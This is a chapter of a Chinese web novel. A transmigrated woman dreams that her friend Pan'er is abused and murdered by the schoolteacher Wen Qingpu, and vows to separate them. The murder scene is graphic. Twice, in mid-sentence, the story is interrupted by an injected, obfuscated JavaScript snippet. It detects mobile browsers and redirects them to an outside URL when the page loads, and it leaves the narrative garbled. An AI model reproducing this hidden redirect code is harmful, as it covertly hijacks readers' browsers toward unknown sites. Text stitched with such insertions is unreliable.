方英看着盼儿,忍不住轻轻笑了一下,很快又收敛起笑容,再次和温清璞搭话:“咱村离乡里得有七八里地,温老师,你每天来回,是骑自行车吗?还是走路?” “我现在走着来回。”温清璞抬手扶了一下眼镜,脸上掠过一个腼腆的浅笑,“等过些日子开了工资,我再买自行车。” 盼儿转转眼珠,“清璞,我家有辆旧自行车,你不嫌弃的话,明天我推过来,你以后骑着上下学吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242721|197806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那多不好意思。”温清璞拒绝道:“不用,我走着就行。” “不用客气,反正我家那辆车也闲着没人骑。”盼儿笑嘻嘻说:“明天早上我就给你推过来!” 方英听不下去,“盼儿,既然温老师说了不用,你就别麻烦了。最近天气好,多走路呼吸新鲜空气、锻炼身体,其实比骑车强。” 她看向温清璞,“你说是吧?温老师。” 她暗暗觉得,盼儿对温清璞太过主动,这未必是件好事。 “对,我走路就行。”温清璞对盼儿说:“盼儿,谢谢你了。” 盼儿有点失落的样子,“那好吧。” “你住在我们村,工作单位在乡里,上下班的确不太方便。”方英微笑道:“要是以后乡中学,能在乡里给你安排个住处,或者你当初,被分到我们村上的中学当老师就好了。” “你们还没听说呢?”温清璞道:“这村里的中学马上就要黄了。” 方英、盼儿和枝枝都很吃惊,“啊?!” “我们村中学要黄了?怎么回事?” “教育局研究的决定,本乡几个村中学全部并校到乡里,过几天就要搬,以后学生上初中都到乡里去念。”他说道:“你们村那所中学校,马上就要空起来了。” 听了温清璞的话,方英若有所思,萌生一个念头:村里那所中学校,不应该空起来。 城里孙大姐的服装生意十分火爆,越做越大,过去一年在县城另外又开了几家服装店不说,她的亲戚还将生意做到了省城。 方英裁缝铺的成衣卖得极好,一年来处于供不应求的状态。孙大姐多次建议方英将裁缝铺做大,提高制衣产量,方英也一直有这个想法。 现在她考虑跟村里把学校的空房场租过来,用过去一年赚到的钱再购入几十台缝纫机,在村里多招些女工,将裁缝铺发展成小型服装厂。 她和盼儿、枝枝没有留下吃饭,和温清璞聊了一会儿便离开了老温家。 她们走到村东头,在学校周围转了转,数数学校有多少间房,畅想这些房间能摆多少台缝纫机,能容纳多少个工人工作,这些工人每天能缝制多少件衣服…… 于穹家之前的小草房也在村东头,和中学校离得很近。不过现在,那个小草房已经没有人住。 过去的一年,于穹在城里的歌舞厅兼职赚了不少钱。而且他和搭档去省城参加了两次二人转比赛,都拿到了极佳的好名次,现在他在剧院唱大轴,成为了剧团十几年来最年轻的台柱子。 于穹用赚到的钱,在村里买了一个宽敞亮堂的大砖房,一家五口风风光光搬了进去。 他的条件变好了,媒人自然上门。张大白话一年里往老于家跑了十几趟,不过他每次说媒都被于穹婉拒,只推说事业忙,不着急成家。 天色渐暗,方英和盼儿、枝枝离开中学校往家走,路过于穹家之前那个小草房。 枝枝说道:“我听说这房子,老于家要往出卖呢。” 盼儿笑了笑,“这小草房这么破,谁会买呀!” 方英驻足,望向那个草房,片刻后只觉天旋地转,意识模糊,眼前一黑晕了过去。 下一秒,她再次进入清晰而真实的梦境。 这次的梦,关于盼儿。 17. 第17章 劝分 方英这一次梦中的这段记忆,发生在原本的方英和陈广林结婚后。 梦里她背上背着一个几个月大的孩子,在厨房的灶台前忙碌,在烀猪食,陈广林在灶下添柴烧火。 他问:“英子,丘盼儿啥时候走啊?” 方英压低嗓子,“你小点声,别让盼儿听到了。”她面露愁容和无奈,“让她多住些日子吧。怎么也得等男方过来赔礼道歉,亲自上门来接,再让盼儿回去。” “老爷们儿要一直不来接,她就一直不走了!?”陈广林神情有些厌烦,声音依旧不小,“她都在咱家住好几天了……” 陈广林话音未落,盼儿从里屋走出来,轻声缓缓说道:“英子,明天我回家去了,我养的鸡鸭鹅,我得回去喂。” 方英想要挽留,陈广林却瞪了她一眼,她的心揪着,也只得对盼儿说:“那我明天送你回去。” 她看见梦里的盼儿头发并未剪短,依然是过腰的长辫子,两根改编成一根,垂在脑后。 盼儿的状态非常不好,腹部微微隆起,似乎怀了孕,整个人却更加消瘦许多。 她的脸上有淤青红肿的伤痕,水灵灵的眼中含着泪光,眼神没有半点欢欣愉悦,只剩忧愁悲伤和脆弱不安。 看着盼儿走回里屋的瘦弱背影,方英心情沉重,是一种无可奈何、爱莫能助的沉重。 她唉声叹气,用大勺搅动着锅里混沌的猪食,喃喃自语道:“我要是很能挣钱就好了。我要是有钱,我养盼儿一辈子。” “问题是你没钱啊!咱家就靠种地打那点粮食,哪有闲钱养活旁人。”陈广林板着脸,“我面朝黄土背朝天的,能养活你、养活咱自己儿子就不错了。” 方英背上的小孩子嘤嘤哼唧了两声,她解开腰上的绑带,把孩子抱到身前,抱在怀里颠了颠哄孩子。 陈广林朝里屋的方向望了一眼,走到方英身旁低声埋怨:“以后丘盼儿的事你别管,她娘家只围着她那个金贵的老弟转,爹妈都不管她不给她撑腰,轮得到你这个外人瞎操心吗?” “再说了,她明天一回去,还不是要和爷们儿继续过日子。你上次替她出头,得闹得里外不是人。” 方英愁苦气愤又难过,声音颤抖着说:“那男的动手打盼儿,我碰上了能不揍他吗!” “两口子打打闹闹多大点事儿,人家老婆汉子亲,还是和你亲啊?”陈广林一副满不在意、事不关己、不愿惹事的态度,“英子,以后你少管闲事。” 梦里的方英无奈、愁闷、担忧、焦虑,做梦的方英感同身受。 梦中的第二天早上,方英送盼儿慢慢走到村东头,在两扇高高的木板栅栏门前停下脚步。 她透过木板的间隙,向院子里望去,望见盼儿结婚后的家。 那个房子她认得,竟然就是于穹家之前的小草房。 小草房没怎么修缮,看上去仍然有些破陋。但院子周围,却垒起了高高的围墙,和木栅栏大门一起,把小小的草房圈在里面。 方英目送盼儿走进院子,她站在木栅栏门外,望着她一步步走向那个小草房。 盼儿的身影渐远,她隔着栅栏看她,觉得她仿佛走进一所监狱,迈入一座囚牢。 这个梦并不连续。 下个场景里,方英和陈广林的儿子长大了些,她正在家里给孩子喂小米粥。 鲁枝枝着急忙慌地跑来,哭着拉她走,“英子,快走!盼儿出事了!” 在梦里她又惊又怕,和枝枝狂奔到村东头,盼儿家的两扇木栅栏门大敞四开,院子里挤满好信儿的村民,呜呜泱泱议论纷纷: “唉呀,真惨呐!孩子还那么小,这可咋整啊?” “操,还他妈文化人儿呢!干力气活没能耐,打起媳妇儿来一点都不手软……” “谁说不是呢,装得人模狗样,我早就看他不像好饼,当初真不该让他留在咱们村!” …… 方英和枝枝挤过人群,挤进那个小草房里,屋里的惨象触目惊心,方英心痛欲裂,崩溃瘫坐在地。 盼儿的长辫子被系在炕桌的桌子腿上,面目血肉模糊,衣衫上尽是血污,瞪着双眼死不瞑目,外凸的眼球仿佛差一点就爆裂。 冰凉的炕上,还扔下个哇哇大哭的奶娃娃。 几名警察冲进来,揪出了杀害盼儿的罪魁祸首。 那个男人被逮捕时骂骂咧咧,声音温吞软绵绵,像是中气不足,说出的话却粗俗狠毒:“她是我媳妇儿,我打死她怎么了?” “怪那娘们儿自己又骚又浪,跑出去和野汉子说话,活该被我打……” 拉扯之中,那个男人的眼镜掉落在地,落在方英面前,很快被后面走过的人一脚踩碎。 方英瘫坐在地上,抬起头向上望去,看见那个男人眼镜之下的嘴脸。 那张脸不像个人,更像是狰狞邪恶的魔鬼,恐怖骇人、扭曲变态。 梦里的方英看清了,做梦的方英也看清了,那个魔鬼,正是温清璞! “英子,英子……” 她听见有人叫她,猛然从梦中惊醒,睁开眼睛看见唤她的人不是别人,正是盼儿。 盼儿露出笑脸,“英子,你总算醒啦!刚才做噩梦了吗?” 方英恍惚一瞬,回过神又悲又喜。 她从炕上坐起身,含着眼泪心疼地盯着盼儿细细看,伸手摸摸她的脸、摸摸她的头发,想要确定她是真实的,确定悲剧还没有发生,确定她还活着。 她轻唤了一声“盼儿”,紧紧拥抱住她,忍不住低声哭了起来。 盼儿不明所以,“怎么了姐们儿?”她抚了抚方英的背,“刚才做噩梦吓着了吗?” 鲁枝枝在一旁关心道:“英子,你是不是身体不舒服?你在于穹家草房门前突然晕倒,把我俩都吓坏了。” “对,枝枝把你背回家来的。”盼儿柔声问道:“英子,你没事吧?” “我没事。”方英嘴上说没事,其实仍然因为方才梦中属于原本方英的那段记忆而惊魂未定。 她松开拥抱,眼里闪着泪花看向盼儿,郑重而坚决地对她说:“盼儿,你要远离温清璞,千万不能和他在一起。” 她的语气,像在告诫她、叮嘱她,甚至是恳求她。 盼儿发笑,纳闷道:“英子,你怎么突然冒出这么句话?”她眼中荡漾着娇羞,“我为啥不能和他在一起?” “温清璞不是好人!”方英情绪激动,咬牙切齿地愤恨道:“他有疑心病,是家暴男,会打女人。” “你胡说什么?”盼儿完全不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242722|197806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信,收起笑容略有不悦,“你今天才见了清璞第一面,咋就知道他不是好人?” “人家温文尔雅、文质彬彬的,哪里像会打女人的那种人啊。”她嗔怪道:“英子,你是不是睡毛愣了?这些是你刚才梦见的吗?” “我……”方英想要解释,却又将话咽了回去。 因为她觉得,若她说出,她本是来自未来时代的袁柔、魂穿成如今的方英、并在梦中觉醒原本方英记忆等等一系列事情,恐怕只会被当成中邪了在说疯话。 半晌后她含糊说了句:“我看他的面相看出来的。” “你啥时候又懂看人面相了?!”盼儿无语地笑了一下,“看面相判断性格是不准的,不能以貌取人。” 她一脸花痴,“再说了,清璞相貌堂堂、五官端正,我看他面相很好呢。” 方英苦闷无奈,一时想不到合理有效的说辞,只是紧紧攥住盼儿的手,干巴巴地重申道:“盼儿你要相信我,温清璞真的是坏人,你不要和他接触。” 盼儿依然不以为意,鼓鼓嘴没有回应什么。 鲁枝枝在一旁说道:“盼儿,不怪英子看不上姓温那小子,我瞅他也不太行。” 盼儿诧异,“你又为啥觉得人家不行啊?” “你看他那小身板儿,太单薄了。”枝枝撇撇嘴,一脸嫌弃道:“种地收粮食,我估计他都扛不动袋子!不用多说,一百斤麻袋估计就给他压垮了!” “哎呀!”盼儿辩驳道:“清璞哪是那干粗活的人啊,人家是教书的老师,用不着种地扛袋子。” 方英深深叹了一口气,她明白盼儿现在处于恋爱脑上头阶段,想让她对温清璞祛魅下头,属实难办。 但她一定要办,一定要避免梦中的悲剧发生。 她看着盼儿,认真问道:“盼儿,咱们是好姐们儿,你跟我说实话,你究竟喜欢温清璞什么?” 盼儿两腮微红,有点扭捏地开口:“我喜欢……他戴眼镜。” 方英很意外,眉头紧皱,十分不屑道:“眼镜是啥稀罕物哇!?” “眼镜哪是一般人能戴的呀!得是文化人儿才能戴眼镜呢。”盼儿说道:“你瞧咱村这些人,男女老少,哪有一个戴眼镜的。” “那是因为咱村这些人眼睛都健康,经常户外劳动不近视!所以用不着戴眼镜。” 方英未经思考,脱口而出说道:“等再过个几十年,电子产品普及了,近视率大幅上涨,到时候小孩子都戴眼镜,想不戴都不行!” 她说完,又意识到讲这后半句没有意义。 盼儿固执道:“反正我就是喜欢清璞,他有文化,是师专毕业的大学生,很了不起。” 方英迫使自己冷静思考,她明白温清璞的眼镜,使得盼儿看他时加了一层滤镜。盼儿爱慕他,归根结底是出于对知识分子的崇拜。 这个年代的师专院校属于大专,但当下教育资源稀缺、高学历人才紧俏,温清璞这个外来的大专生,在盼儿心里,或许不亚于袁柔那个时代的一位留学归国的博士。 盼儿喜欢温清璞,用袁柔那个时代的话讲,属于是智性恋。 方英暗自发誓,一定要阻拦盼儿和温清璞在一起。 至于如何阻拦,她心中也已初步有了主意。